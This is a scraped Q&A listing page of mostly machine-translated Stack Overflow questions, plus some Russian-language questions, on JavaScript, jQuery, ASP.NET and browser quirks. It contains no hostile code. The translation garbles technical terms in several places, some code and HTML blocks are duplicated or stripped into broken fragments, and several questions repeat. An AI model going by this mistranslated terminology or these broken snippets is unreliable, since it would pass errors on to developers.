<body onload="alert('Hello');">
<a href="http://www.codinghorror.com">Coding Horror</a>
</body>
</html>
Загрузите страницу, и вы увидите окно оповещения. Затем перейдите по ссылке со страницы и нажмите кнопку Назад. В IE и Firefox вы снова видите окно оповещения, в Safari-нет.
После энергичного поиска в гугле я обнаружил других людей с похожими проблемами, но без действительно удовлетворительных ответов. Таким образом, мой вопрос заключается в том, как я могу заставить мои страницы работать так же, как в Safari после того, как пользователь нажимает кнопку назад, как и в других браузерах?
Если это глупый вопрос, пожалуйста, будьте нежны, javascript несколько ново для меня.
Каковы некоторые примеры реализации шаблонов проектирования с использованием JavaScript?
Я умеренно квалифицированный программист, использующий JavaScript, но я не гуру. Я знаю, что вы можете делать с ним довольно мощные вещи, просто я не видел ничего, кроме довольно простых манипуляций DOM. Мне интересно, могут ли люди привести некоторые примеры традиционных концепций дизайна, таких как фабричный метод, Singleton и т. д. с использованием JavaScript. В каких случаях эти шаблоны будут использоваться в интернете?
439   10   01:27, 25th August, 2020
JavaScript редактор в Eclipse
Я ищу лучший редактор JavaScript, доступный в качестве плагина Eclipse. Я использую Spket, и это хорошо. Но есть ли еще более лучший вариант?
Экранирование строк HTML с помощью jQuery
Кто-нибудь знает простой способ избежать HTML из строк в jQuery ? Мне нужно иметь возможность передать произвольную строку и правильно экранировать ее для отображения на странице HTML (предотвращая атаки инъекций JavaScript/HTML). Я уверен, что для этого можно расширить jQuery, но на данный момент я недостаточно знаю о фреймворке, чтобы выполнить это.
Почему Response.BufferOutput = False, не работает?
Эта проблема началась на другой доске , но Дэйв Уорд, который был очень быстрым и полезным, тоже здесь, поэтому я хотел бы забрать здесь, надеюсь, последний оставшийся кусочек головоломки.
В основном, я искал способ сделать постоянные обновления веб-страницы из долгого процесса. Я думал, что AJAX - это правильный путь, но у Дэйва есть хорошая статья об использовании JavaScript . Я интегрировал его в свое приложение, и он отлично работал на моем клиенте, но NOT мой сервер WebHost4Life. У меня есть еще один сервер @ Brinkster и решил попробовать его там и он DOES работает. Все коды одинаковы на моем клиенте, WebHost4Life и Бринкстере, так что, очевидно, что-то происходит с WebHost4Life.
Я планирую написать им email или запросить техническую поддержку, но я хотел бы быть активным и попытаться выяснить, что может происходить с их концом, чтобы вызвать эту разницу. Я сделал все возможное с моим кодом, чтобы отключить буферизацию, как Page.Response.BufferOutput = False . Какие настройки сервера они могли бы реализовать, чтобы вызвать эту разницу? Есть ли какой-нибудь способ обойти его самостоятельно, без их помощи? А если нет, то что им нужно будет делать?
Для справки, ссылка на рабочую версию более простой версии моего приложения находится @ http://www.jasoncomedy.com/javascriptfun/javascriptfun.aspx , а та же версия, которая не работает, находится @ http://www.tabroom.org/Ajaxfun/Default.aspx . Вы заметите, что в рабочей версии вы получаете обновления с каждым шагом, но в той, которая этого не делает, он сидит там долгое время, пока все не будет сделано, а затем делает все обновления для клиента сразу ... и от этого мне становится грустно.
Выполнение скрипта после определенной задержки с помощью JavaScript
Существует ли какой-либо метод JavaScript, подобный jQuery delay() или wait() (чтобы задержать выполнение скрипта на определенное время)?
Всплывающие подсказки на изображении
У меня есть изображение, и на нем есть логотипы (это карта), я хочу иметь небольшое всплывающее окно с информацией о местоположении этого логотипа, когда пользователь перемещает свою мышь на указанный логотип.
Могу ли я сделать это без использования фреймворка javascript, и если да, то есть ли какие-либо небольшие библиотеки/скрипты, которые позволят мне сделать это?
Вставка в самом конце в FCKeditor
FCKeditor имеет InsertHtml API (документ JavaScript API), который вставляет HTML в текущую позицию курсора. Как вставить в самом конце документа?
Нужно ли мне запускать браузер нюхать что-то вроде этого
if ( element.insertAdjacentHTML ) // IE
element.insertAdjacentHTML( 'beforeBegin', html ) ;
else // Gecko
{
var oRange = document.createRange() ;
oRange.setStartBefore( element ) ;
var oFragment = oRange.createContextualFragment( html );
element.parentNode.insertBefore( oFragment, element ) ;
}
или есть благословенный путь, который я пропустил?
Edit: конечно, я могу переписать весь HTML, как предлагают ответы, но я не могу поверить, что это путь "blessed". Это означает, что браузер должен уничтожить все, что у него есть, и повторно проанализировать документ с нуля. Это не может быть хорошо. Например, я ожидаю, что это сломает стек отмены.
Flash лучшие практики совместной работы дизайнера и верстальщика
Я сделал несколько проектов flash, работая как ActionScripter с дизайнером, делающим все красивые вещи и анимацию. Когда я начинал, я нашел довольно много информации о кодировании ActionScript и дизайне flash. Большая часть имеющейся информации, по-видимому, сосредоточена на одном или другом.
Я не нашел никакой информации о построении проектов flash таким образом, чтобы кодер мог делать свое дело AND дает дизайнеру свободу.
Надеюсь, что более опытные люди могут поделиться, это некоторые из вещей, которые я обнаружил после нескольких проектов
- Контроль версий является обязательным (как всегда), но может быть трудно объяснить дизайнерам
- Нет ActionScript в файлах flash
.fla, они двоичны, и как кодер вы хотите попытаться держаться как можно дальше - Контроллер вида модели-это лучший способ, который я нашел, чтобы изолировать визуальные изменения дизайна
- Попробуйте построить представления так, чтобы они использовали метки фреймов, это позволит дизайнеру решить, что же на самом деле происходит
Каковы ваши переживания?
Что является лучшим всплывающим календарем для заполнения веб-формы?
Я хочу иметь возможность сделать вызов HTTP, обновляя некоторые поля выбора После выбора даты. Я хотел бы контролировать обновление textbox, чтобы знать, когда произошло изменение "true" (в том случае, если была выбрана та же дата). В идеале, я бы вызвал функцию, чтобы открыть календарь и иметь возможность оценить дату перед заполнением текста box...so я могу сделать свою проверку перед вызовом сервера.
Удалите все файлы X в bash, кроме самых последних
Есть ли простой способ, в довольно стандартной среде UNIX с bash, запустить команду для удаления всех файлов X из каталога, кроме самых последних?
Чтобы привести более конкретный пример, представьте себе, что некое задание cron каждый час записывает файл (скажем, файл журнала или резервную копию tar-ed) в каталог. Мне бы хотелось, чтобы было запущено еще одно задание cron, которое удаляло бы самые старые файлы в этом каталоге, пока их не станет меньше, скажем, 5.
И просто для ясности, там есть только один файл, он никогда не должен быть удален.
VBScript/ASP Classic
У меня есть пара вопросов относительно VBScript и ASP Classic:
Каков предпочтительный способ доступа к базе данных сервера MS SQL в VBScript/ASP?
Каковы наилучшие методы в отношении отделения модели от представления от контроллера?
Есть еще что-нибудь, что я должен знать о VBScript или ASP?
Если вы еще не заметили, я новичок в кодировании VBScript. Я понимаю, что числа 2 & 3-это своего рода гигантские вопросы "black hole", которые являются слишком общими, поэтому не думайте, что я ожидаю узнать все, что нужно знать об этих двух вопросах отсюда.
Есть ли библиотека виджетов Scheduler / Calendar JS?
Я ищу какой-то компонент на основе JavaScript, который будет использоваться в качестве планировщика курса, который будет представлять собой нечто среднее между календарем Google и временем входа в систему. Я не знаю, подходит ли для этого термин " планировщик курса ", но я опишу это более подробно здесь.
Планировщик Курсов
Виджет будет использоваться для ввода даты и времени курса, например, если я запускаю курс программирования 3 дня в неделю по понедельникам, Вт и СР каждые 7:00 утра до 9:00am, 2 часа каждый день с 1 сентября по 30 ноября. Я мог бы ответить на различные вопросы, и данные курса будут отображаться в календаре. Это также позволит использовать не основанные на шаблонах тайминги, где каждая неделя отличается от другой недели и т. д.
Вопрос
Так неужели я в конечном итоге создам что-то с нуля? Было бы разумно использовать Google Calendar API для этого? Я сделал поиск в Google для некоторых виджетов, но я считаю, что мне нужны лучшие ключевые слова, так как я не смог найти ничего близкого к тому, что я ищу. Есть какие-нибудь советы? Коммерческие библиотеки тоже будут работать на меня. Спасибо.
Зарезервированные ключевые слова в JavaScript
Какие ключевые слова JavaScript (имена функций, переменные и т.д.) зарезервированы?
Что такое селекторный двигатель?
Я видел новости о быстром новом селекторном двигателе Джона Ресига под названием Sizzle , появившиеся в нескольких местах, но я не знаю, что такое селекторный двигатель, и ни в одной из статей не было дано объяснения того, что это такое. Я знаю, что Resig-это создатель jQuery, и это шипение-что-то в Javascript, но кроме этого я не знаю, что это такое. Итак, что же такое селекторный двигатель?
Спасибо!
Активный Элемент Управления X JavaScript
Мы с моим коллегой столкнулись с неприятной ситуацией, когда нам приходится использовать активный элемент управления X для управления веб-камерой на странице.
Можно ли назначить обработчик событий javascript кнопке в активном элементе управления x, чтобы она запускала действие на странице при нажатии, или нам нужно создать кнопку на самой странице html, которая управляет активным элементом управления X, а затем может запускать любые необходимые действия на странице?
Рекомендации для редактора Javascript на Windows?
Есть ли какие-нибудь хорошие рекомендации, которые кто-нибудь может предоставить для хорошего редактора Javascript на Windows?
В настоящее время я использую комбинации FireBug и TextPad, но не хотел бы пропустить вечеринку, если там есть лучшие варианты.
Спасибо.
Сравнение массивов объектов в JavaScript
Я хочу сравнить 2 массива объектов в коде JavaScript. Объекты имеют 8 общих свойств, но каждый объект не будет иметь значения для каждого, и массивы никогда не будут больше 8 элементов каждый, так что, возможно, метод грубой силы обхода каждого и затем просмотра значений 8 свойств является самым простым способом сделать то, что я хочу сделать, но перед реализацией я хотел бы посмотреть, есть ли у кого-нибудь более элегантное решение. Есть какие-нибудь мысли?
Javascript: объявление переменной перед условным результатом?
Мой JavaScript довольно номинальный, поэтому, когда я увидел эту конструкцию, я был немного озадачен:
var shareProxiesPref = document.getElementById("network.proxy.share_proxy_settings");
shareProxiesPref.disabled = proxyTypePref.value != 1;
Не лучше ли сделать if на proxyTypePref.value, а затем объявить var внутри результата, только если вам это нужно?
(Кстати, я также нашел эту форму очень трудной для чтения по сравнению с обычным использованием. Вместо выполнения одного if с блоком операторов в результате был создан набор из двух или трех таких условных выражений.)
UPDATE:
Ответы были очень полезными и требовали большего контекста. Фрагмент кода от Firefox 3, так что вы можете увидеть код здесь:
http://mxr.mozilla.org/firefox/source/browser/components/preferences/connection.js
В принципе, когда вы смотрите на окно настроек подключения в Firefox, щелчок по режимам прокси (переключателям) вызывает включение|отключение различных элементов формы.
Сохраняя пары ключевых значений вместе в HTML с jQuery?
Учитывая выбор с несколькими вариантами в jQuery.
$select = $("<select></select>");
$select.append("<option>Jason</option>") //Key = 1
.append("<option>John</option>") //Key = 32
.append("<option>Paul</option>") //Key = 423
Как следует хранить и извлекать ключ?
ID может быть местом OK, но не будет гарантировано уникальным, если у меня есть несколько общих значений select (и другие сценарии).
Спасибо
и в духе TMTOWTDI.
$option = $("<option></option>");
$select = $("<select></select>");
$select.addOption = function(value,text){
$(this).append($("<option/>").val(value).text(text));
};
$select.append($option.val(1).text("Jason").clone())
.append("<option value=32>John</option>")
.append($("<option/>").val(423).text("Paul"))
.addOption("321","Lenny");
Где я могу узнать jQuery? Стоит ли оно того?
У меня было много хорошего опыта, изучая веб-разработку на w3schools.com . Это хит или промах, я знаю, но разделы PHP и CSS оказались очень полезными для справки.
В любом случае, мне было интересно, есть ли подобный сайт для jQuery . Я заинтересован в обучении, но мне нужно, чтобы он был online/searchable,, чтобы я мог легко вернуться к нему, когда мне понадобится информация в будущем.
Кроме того, в качестве краткого замечания, стоит ли изучать jQuery? Или мне стоит посмотреть на разные библиотеки JavaScript? Я знаю, что Джефф использует jQuery для переполнения стека, и это, кажется, хорошо работает.
Спасибо!
Edit: на веб-сайте jQuery есть довольно большой список учебных пособий и, казалось бы, исчерпывающая страница документации . У меня еще не было времени пройти через все это, у кого-нибудь еще был опыт с этим?
Правка 2: похоже, что Google теперь размещает библиотеки jQuery. Это должно дать jQuery довольно большое преимущество с точки зрения публичности.
Кроме того, если все пользователи используют единую унифицированную библиотеку aQuery, размещенную в одном и том же месте, она должна быть кэширована для большинства пользователей Интернета на ранней стадии и поэтому не должна влиять на загрузку вашего сайта, если вы решите ее использовать.
2 Месяца Спустя...
Правка 3: я недавно начал использовать jQuery в проекте на работе, и с ним очень приятно работать! Просто хотел, чтобы все знали, что я пришел к выводу, что ABSOLUTELY стоит того, чтобы изучить и использовать jQuery.
Кроме того, я почти полностью изучил официальную документацию jQuery и учебные пособия . Это очень просто.
10 Месяцев Спустя...
jQuery является частью почти каждого веб-приложения, которое я сделал с тех пор, как я впервые написал этот пост. Это делает прогрессивное улучшение легким ветерком и помогает сделать код ремонтопригодным.
Кроме того, все плагины jQuery являются бесценным ресурсом!
3 Года Спустя...
По-прежнему использую jQuery почти каждый день. Теперь я автор jQuery плагинов и консультирую полный рабочий день. Я в основном Джангонавт, но я сделал несколько контрактов javascript только с jQuery. Это спасает нам жизнь.
От одного пользователя jQuery к другому... Вы должны посмотреть на шаблон с jQuery (или подчеркиванием-см. ниже).
Другие вещи, которые я нашел ценными в дополнение к jQuery (с предполагаемой частью проектов, на которых я использую его):
- jQuery Плагин Формы (95%)
- jQuery Пример Формы Плагин (75%)
- jQuery UI (70%)
- Underscore.js (80%)
- CoffeeScript (30%)
- Backbone.js (10%)
ASP.NET JavaScript Обратные Вызовы Без Полного PostBacks?
Я собираюсь запустить довольно тяжелую функцию Ajax в приложении моей компании. Что мне нужно сделать, так это сделать обратный вызов Ajax каждые несколько минут, когда пользователь был на странице.
- Мне не нужно делать никаких обновлений DOM до, после или во время обратных вызовов.
- Мне не нужна никакая информация со страницы, просто файл cookie сайта, который всегда должен быть отправлен с запросами в любом случае, и значение ID.
Мне любопытно узнать, есть ли какой-нибудь чистый и простой способ сделать обратный вызов JavaScript Ajax на страницу ASP.NET, не отправляя обратно rest информации на странице. Я хотел бы не делать этого, если это возможно.
Я действительно просто хочу иметь возможность вызвать один метод на странице, ничего больше.
Кроме того, я ограничен ASP.NET 2.0, поэтому я не могу использовать ни одну из новых функций 3.5 framework ASP AJAX, хотя я могу использовать расширения ASP AJAX для платформы 2.0.
ОБНОВЛЕНИЕ
Я решил принять ответ DanP, поскольку он, похоже, именно то, что я ищу. Наш сайт уже использует jQuery для некоторых вещей, поэтому я, вероятно, буду использовать jQuery для выполнения запросов, поскольку по моему опыту он работает намного лучше, чем фреймворк AJAX ASP.
Как вы думаете, каким будет лучший способ передачи данных в IHttpHandler? Должен ли я добавить переменные в строку запроса или POST данные, которые мне нужно отправить?
Единственное, что я думаю, что мне нужно отправить, - это один ID, но я не могу решить, какой лучший способ отправить ID и заставить IHttpHandler обработать его. Я хотел бы предложить решение, которое предотвратило бы случайный или преднамеренный доступ человека с базовыми компьютерными навыками непосредственно к странице или повторение запросов. Разве это возможно?
Обнаружение неопределенного свойства объекта
Как лучше всего проверить, является ли свойство объекта в JavaScript неопределенным?
Есть ли библиотека для рендеринга основных блок-схем в Javascript/CSS?
На веб-странице Я хочу динамически отображать очень простые блок-схемы, т. е. несколько ящиков, соединенных линиями. В идеале пользователь может нажать на один из этих ящиков ( DIVs ?) и быть перенесенным на другую страницу. Обращение к Flash кажется излишним. Кто-нибудь знает о какой-либо стороне клиента (т. е. server agnostic ) Javascript или CSS library/technique , которые могут помочь достичь этого?
Лучший способ извлечь данные из базы данных FileMaker Pro в скрипте?
Моя работа была бы проще или, по крайней мере, менее утомительной, если бы я мог придумать автоматизированный способ (предпочтительно в сценарии Python) извлечения полезной информации из базы данных FileMaker Pro. Я работаю на машине Linux, и база данных FileMaker находится на том же самом LAN, работающем на машине OS X. Я могу войти в веб-интерфейс с моей машины.
Я очень хорошо справляюсь с SQL, и если бы кто-нибудь мог указать мне на какой-нибудь плагин FileMaker, который мог бы дать мне доступ к данным SQL в пределах FileMaker, я был бы рад, как панч. Все, что я нашел, идет только в другую сторону: имея FileMaker получить данные из SQL источников. Не полезный.
Это не мой первый выбор,но я бы использовал Perl вместо Python, если бы под рукой было решение Perl-Y.
Примечание: сервисы XML/XSLT (как предлагают некоторые люди) доступны только на FM-сервере, а не на FM Pro. В противном случае, это, вероятно, было бы лучшим решением. ODBC оказывается чрезвычайно трудно даже заставить работать. Существует абсолютно нулевая обратная связь от FM, когда вы настраиваете его, так что вам придется копаться в /var/log/system.log и анализировать неясные сообщения об ошибках.
Вывод : я получил его работу, запустив сценарий python локально на машине, которая запрашивает базу данных FM через соединения ODBC. Скрипт на самом деле является TCPServer, который принимает сокетные соединения от других систем на LAN, выполняет запросы и возвращает данные через сокетное соединение. Мне пришлось сделать это, чтобы обойти тот факт, что FM Pro принимает только ODBC соединений локально (FM сервер требуется для внешних подключений).
Windows Mobile-какие скриптовые платформы доступны?
У нас есть ряд пользователей с Windows Mobile 6, и нам нужно внести незначительные изменения. напр.. обновление параметров реестра. Один из вариантов-нажать и выполнить исполняемый файл с помощью нашего программного обеспечения для управления устройствами.
Я бы хотел, чтобы это было немного более дружелюбно для администраторов, которые знакомы со сценариями в VBScript/JScript и т. д. Какие существуют варианты написания сценариев на мобильных устройствах Windows?
Лучший компрессор JavaScript
Какой самый лучший компрессор JavaScript доступен? Я ищу инструмент, который:
- прост в использовании
- имеет высокую степень сжатия
- Производить надежные конечные результаты (не портит код)
Javascript Причуды Браузера - array.Length
Код:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Unusual Array Lengths!</title>
<script type="text/javascript">
var arrayList = new Array();
arrayList = [1, 2, 3, 4, 5, ];
alert(arrayList.length);
</script>
</head>
<body>
</body>
</html>
Обратите внимание на лишнюю запятую в объявлении массива. Приведенный выше код дает различные выходные данные для различных браузеров:
Safari: 5
Firefox: 5
IE: 6
Лишняя запятая в массиве игнорируется Safari и FF, в то время как IE обрабатывает ее как другой объект в массиве.
При некоторых поисках я нашел смешанные мнения о том, какой ответ является правильным. Большинство людей говорят, что IE-это правильно, но тогда Safari делает то же самое, что и Firefox. Я не проверял это на других браузерах, таких как Opera, но я предполагаю, что есть расхождения.
Мой вопрос:
i. какой из них правильный?
Edit: по общему согласию (и руководящим принципам ECMAScript) мы предполагаем, что IE снова виноват.
ii. Есть ли еще какие-либо подобные Javascript браузерные причуды, которых я должен опасаться?
Edit: Да, есть множество причуд Javascript. www.quirksmode.org -хороший ресурс для того же самого.
раздел III. Как избежать таких ошибок, как эти?
Edit: используйте JSLint для проверки вашего javascript. Или используйте некоторые внешние библиотеки . Или санируйте свой код.
Спасибо DamienB , JasonBunting, Джону и Конраду Рудольфам за их вклад.
SimpleModal Break ASP.Net Postbacks
Я использую jQuery и SimpleModal в проекте ASP.Net, чтобы сделать несколько хороших диалогов для веб-приложения. К сожалению, любые кнопки в модальном диалоге больше не могут выполнять свои обратные вызовы, что на самом деле неприемлемо.
Есть один источник, который я нашел с обходным путем, но за всю свою жизнь я не могу заставить его работать, главным образом потому, что я не полностью понимаю все необходимые шаги.
У меня также есть обходной путь, который должен заменить обратную связь, но он уродлив и, вероятно, не самый надежный. Мне бы очень хотелось, чтобы эти постбэки снова заработали. Есть какие-нибудь идеи?
UPDATE: я должен уточнить, что обратные сообщения не работают, потому что Javascript, используемый для выполнения обратных сообщений, каким-то образом сломался, поэтому при нажатии на кнопку ничего не происходит.
Достаточно ли использовать обфускатор для защиты моего кода JavaScript?
Я работаю над созданием инструмента разработки, который написан на JavaScript.
Это не будет проект с открытым исходным кодом и будет продаваться (надеюсь) как коммерческий продукт.
Я ищу лучший способ защитить свои инвестиции. Достаточно ли использовать обфускатор (code mangler) для разумной защиты кода?
Есть ли другие альтернативы, о которых я не знаю?
(Я не уверен, что obfuscator-это правильное слово, это одно из приложений, которое берет ваш код и делает его очень нечитаемым.)
Автоматический скрипт для zip IIS журналов?
Я хотел бы написать сценарий / пакет, который будет собирать мои ежедневные журналы IIS и zip по месяцам.
ex080801.log который находится в формате ex yymmdd .log
ex080801.log - ex080831.log получает молнии и файлы журнала удаляются.
Причина, по которой мы делаем это, заключается в том, что на тяжелом сайте файл журнала За один день может составлять от 500 МБ до 1 Гб, поэтому мы zip их сжимаем, который сжимает их на 98% и сбрасывает реальный файл журнала. Мы используем webtrend для анализа файлов журнала, и он способен считывать в файл zip.
Есть ли у кого-нибудь идеи о том, как это сделать, или вы хотели бы поделиться каким-то кодом?
Как поддерживать правильное событие Javascript после использования cloneNode (true)
У меня есть элемент формы, который содержит несколько строк входных данных. Подумайте о каждой строке как об атрибутах нового объекта, который я хочу создать в своем веб-приложении. Кроме того, я хочу иметь возможность создавать несколько новых объектов в одном посте HTTP. Я использую встроенный метод Javascript cloneNode (true) для клонирования каждой строки. Проблема в том, что каждая входная строка также имеет ссылку удаления, прикрепленную к ее onclick-событию:
// prototype based
<div class="input-line">
<input .../>
<a href="#" onclick="$(this).up().remove();"> Remove </a>
</div>
При нажатии на ссылку удаления клонированной входной линии также удаляются все входные линии, которые были клонированы из того же объекта dom. Можно ли повторно привязать объект "this" к соответствующему тегу привязки после использования cloneNode (true) на указанном выше элементе DOM?
Настройка скрипта PowerShell для автоматического выполнения
У меня есть несколько строк кода PowerShell, которые я хотел бы использовать в качестве автоматического сценария. Способ, которым я хотел бы, чтобы он мог работать, - это иметь возможность вызвать его, используя один из следующих вариантов:
- Одна командная строка, которая открывает PowerShell, выполняет скрипт и закрывает PowerShell (это будет использоваться для глобальной процедуры сборки)
- Файл, который я могу дважды щелкнуть, чтобы выполнить описанное выше (я бы использовал этот метод при ручном тестировании компонентов моего процесса сборки)
Я просматривал документацию PowerShell в интернете, и хотя я могу найти много сценариев, я не смог найти инструкции о том, как сделать то, что мне нужно. Спасибо за помощь.
Подавить диалоговое окно NTLM после несанкционированного запроса
В недавнем проекте sharepoint я реализовал веб-часть аутентификации, которая должна заменить диалоговое окно аутентификации NTLM. Он отлично работает, пока пользователь предоставляет действительные учетные данные. Всякий раз, когда пользователь предоставляет неверные учетные данные, диалоговое окно NTLM появляется в Internet Explorer.
Мой код Javascript, который выполняет аутентификацию через XmlHttpRequest, выглядит следующим образом:
function Login() {
var request = GetRequest(); // retrieves XmlHttpRequest
request.onreadystatechange = function() {
if (this.status == 401) { // unauthorized request -> invalid credentials
// do something to suppress NTLM dialog box...
// already tried location.reload(); and window.location = <url to authentication form>;
}
}
request.open("GET", "http://myServer", false, "domain\\username", "password");
request.send(null);
}
Я не хочу, чтобы диалоговое окно NTLM отображалось, когда пользователь предоставляет недопустимые учетные данные. Вместо этого должна быть выполнена обратная передача с помощью кнопки входа в форму аутентификации. Другими словами, браузер не должен узнать о моем несанкционированном запросе.
Есть ли способ сделать это через Javascript?
Как получить пиксельные координаты (x, y) курсора в текстовых полях?
Я использую jQuery и пытаюсь найти кроссбраузерный способ получить пиксельные координаты каретки в полях <textarea> s и input таким образом, чтобы я мог разместить абсолютно позиционированный div вокруг этого местоположения.
Есть ли какой-нибудь плагин jQuery? Или JavaScript сниппет, чтобы сделать именно это?
Как синхронизировать историю браузера при использовании Ajax?
Я пишу простое приложение для фотоальбома, используя ASP.NET Ajax.
Приложение использует асинхронные вызовы Ajax для предварительной загрузки следующей фотографии в альбом, не изменяя URL в браузере.
Проблема заключается в том, что когда пользователь нажимает кнопку Назад в браузере, приложение не возвращается к предыдущей фотографии, а переходит на домашнюю страницу приложения.
Есть ли способ обмануть браузер, чтобы добавить каждый вызов Ajax в историю просмотров?
Как отправить форму, когда нажата клавиша возврата?
Может ли кто-нибудь сказать мне, как отправить форму HTML, когда нажата клавиша возврата и если в форме нет кнопок? Кнопки "Отправить" там нет . Вместо этого я использую пользовательский div.
Может встречал кто сервис "гостевая книга" или "обратная связь", которые позволяют форму в виде на javascript поставить к себе на сайт
Интересует именно такой вариант! не нужно предлагать написать/установить на свой хост.
Именно сервис!
спасибо за ответы заранее :)
Синтаксис ООП в js и использование prototype
Чем отличаются данные куски кода и какой в каких случаях будет предпочтительнее?
A
function Obj() {}
Obj.method = function(type) {
return this.coords[type];
};
var obj = new Obj(),
current = obj.method(type);
B
function Obj() {}
Obj.prototype.method = function(type) {
return this.coords[type];
};
var obj = new Obj(),
current = obj.method(type);
C
var obj = {
method : function(type) {
return this.coords[type];
}
},
current = obj.method(type);
D
function objMethod(type){
return this.coords[type];
}
var obj = {
method : objMethod
},
current = obj.method(type);
added @ 1732:
E
function Obj() {
this.method = function(type) {
return this.coords[type];
};
}
var obj = new Obj(),
current = obj.method(type);
function Obj() {}
Obj.method = function(type) {
return this.coords[type];
};
var obj = new Obj(),
current = obj.method(type);
function Obj() {}
Obj.prototype.method = function(type) {
return this.coords[type];
};
var obj = new Obj(),
current = obj.method(type);
var obj = {
method : function(type) {
return this.coords[type];
}
},
current = obj.method(type);
function objMethod(type){
return this.coords[type];
}
var obj = {
method : objMethod
},
current = obj.method(type);
function Obj() {
this.method = function(type) {
return this.coords[type];
};
}
var obj = new Obj(),
current = obj.method(type);
Посоветуйте книгу по JavaScript
Посоветуйте бумажную книгу по javascript для углубленного изучения для неновичка (программиста, имеющего опыт с другими языками).
Заказал книгу «Javascript подробное руководство» Дэвида Макфарланда — там оказалась вода про jquery. Ещё попадались варианты, в которых все сильно упрощено (аля для чайников).
Хотелось бы, чтобы в книге были освещены такие моменты, как
типы переменных в js,
понятие прототипа,
наследование,
обратные вызовы,
работа с DOM,
регулярные выражения.
И поменьше примеров на ajax, где приводится листинг серверного кода на десять страниц.
Посоветуйте JavaScript календарь
Из требований:
— Удобная навигация
— Неделя должна начинаться с понедельника
— Русский язык
— Желательно чтоб дата не вставлялась в entry, а щелчок по дате отправлял POST
Искал на файловых помойках, ничего подходящего не нашел :(
Правильное оформление вызова javascript-функций
Как правильно оформлять вызов функции (js) при клике по ссылке, кнопке или любом другом элементе. Давным-давно меня научили писать вызов в onclick(), но я видел несколько других вариантов этого действа.
Поэтому хочется узнать, как же всё-таки наиболее верно это делать?
Cтатус ответа сервер (200, 404, ...) при синхронной загрузке страницы?
Как при помощи javascript узнать статус ответа сервер (200, 404, ...) при первичной синхронной загрузке страницы? Т.е. XMLHttpRequest в данном случае не существует.
Drag'n'drop для динамически созданных элементов (jQuery)?
В jQuery есть такой хороший плагин jQuery UI Draggable, который позволяет создавать эффекты drag'n'drop. Работает он достаточно просто: нужно для любого существующего элемента вызвать метод .draggable():
$('#test').draggable();
Если же попытаться вызвать этот метод для динамически добавленного элемента, то ничего не произойдёт:
$('body').append('<div id="newblock">Новый элемент</div>');
$('#newblock').draggable();
«Новый элемент» не будет обладать возможностью drag'n'drop. Как сделать тут что-то типо аналога функции .live(), чтобы динамически созданные элементы тоже реагировали на эти методы?
$('body').append('<div id="newblock">Новый элемент</div>');
$('#newblock').draggable();
Как масштабировать шрифт, чтобы он занял собой блок целиком?
Успех на Хабре лёгкого стартапа Ты — супер подвиг меня воскресным вечером покопать в направлении своего улучшателя настроения (пользователи IE извините).
Он работает только в разрешении 1280x1024, и для вычисления размера шрифта используется магический код centered.style.fontSize = (900 - 3 * message.length) + '%';. При этом всё равно проблемы, если кто-то пользуется + "+".
А как бы сделать, чтобы размер шрифта подбирался, чтобы заполнить div? Может можно его адаптивно увеличивать и как-то вычислять размер получающегося блока?
Upd. Пришлось самой разбираться. По ссылке всё работает…
Лишняя запятая в JS
Возник спор по поводу ошибки, возникающей в IE, если встречается лишняя запятая в коде.
Ситуация простая:
items: [
{xtype: 'textfield', cls: 'fake-field', value: 'Manager Login'},
new Ext.form.TextField(Ext.applyIf({fieldLabel: 'Username', name: 'login', allowBlank:false}, fieldConfig)),
this.passwordField,
this.passwordConfirmField,
new Ext.form.Hidden({name: 'companyId'}),
]
Если последнюю запятую не убрать — IE не отрабатывает скрипт. Все остальные браузеры отработают на ура.
Вопрос: Кто прав? Кодер и его запятая (вместе со всеми браузерами) или же IE (который не хочет обрабатывать явный промах программиста).
{xtype: 'textfield', cls: 'fake-field', value: 'Manager Login'},
new Ext.form.TextField(Ext.applyIf({fieldLabel: 'Username', name: 'login', allowBlank:false}, fieldConfig)),
this.passwordField,
this.passwordConfirmField,
new Ext.form.Hidden({name: 'companyId'}),
]
[jQuery UI tabs + layout] layout внутри таба на весь экран... как?
Доброго времени суток… Пытаюсь сделать, чтобы внутри одного из табов был сплиттер таким вот образом:
<link type="text/css" rel="stylesheet" href="css/smoothness/jquery-ui-1.8.4.custom.css"/>
<link type="text/css" rel="stylesheet" href="css/jquery-layout.css"/>
<script type="text/javascript" src="js/jquery-1.4.2.min.js"/>
<script type="text/javascript" src="js/jquery-ui-1.8.4.custom.min.js"/>
<script type="text/javascript" src="js/jquery-layout.js"/>
"Content-Type" content="text/html; charset=UTF-8">
ii
<script type="text/javascript">
$(function() {
$("#tabs").tabs();
});
</script>
"tabs">
- "#expertTab">Expert mode
"#userTab">User mode
<script type="text/javascript">
var expertLayout = null;
$(function() {
expertLayout = $("#expertTab").layout({
resizable: true,
closeable: false
});
});
</script>
<div id="expertTab">
<div id="layout1" class="ui-layout-west">
asdf
</div>
<div id="layout2" class="ui-layout-center">
fdsa
</div>
</div>
<div id="userTab"></div>
</div>
</body>
</html>
* This source code was highlighted with Source Code Highlighter.
и получаю вот это:
.
Как можно сделать, чтобы табы вместе со своим содержимым были во всю высоту окна браузера?
<link type="text/css" rel="stylesheet" href="css/smoothness/jquery-ui-1.8.4.custom.css"/>
<link type="text/css" rel="stylesheet" href="css/jquery-layout.css"/>
<script type="text/javascript" src="js/jquery-1.4.2.min.js"/>
<script type="text/javascript" src="js/jquery-ui-1.8.4.custom.min.js"/>
<script type="text/javascript" src="js/jquery-layout.js"/>
"Content-Type" content="text/html; charset=UTF-8">
ii
<script type="text/javascript">
$(function() {
$("#tabs").tabs();
});
</script>
"tabs">
- "#expertTab">Expert mode
"#userTab">User mode
<script type="text/javascript">
var expertLayout = null;
$(function() {
expertLayout = $("#expertTab").layout({
resizable: true,
closeable: false
});
});
</script>
<div id="expertTab">
<div id="layout1" class="ui-layout-west">
asdf
</div>
<div id="layout2" class="ui-layout-center">
fdsa
</div>
</div>
<div id="userTab"></div>
</div>
</body>
</html>
* This source code was highlighted with Source Code Highlighter.
Cтатус ответа сервер (200, 404, ...) при синхронной загрузке страницы?
Как при помощи javascript узнать статус ответа сервер (200, 404, ...) при первичной синхронной загрузке страницы? Т.е. XMLHttpRequest в данном случае не существует.
Drag'n'drop для динамически созданных элементов (jQuery)?
В jQuery есть такой хороший плагин jQuery UI Draggable, который позволяет создавать эффекты drag'n'drop. Работает он достаточно просто: нужно для любого существующего элемента вызвать метод .draggable():
$('#test').draggable();
Если же попытаться вызвать этот метод для динамически добавленного элемента, то ничего не произойдёт:
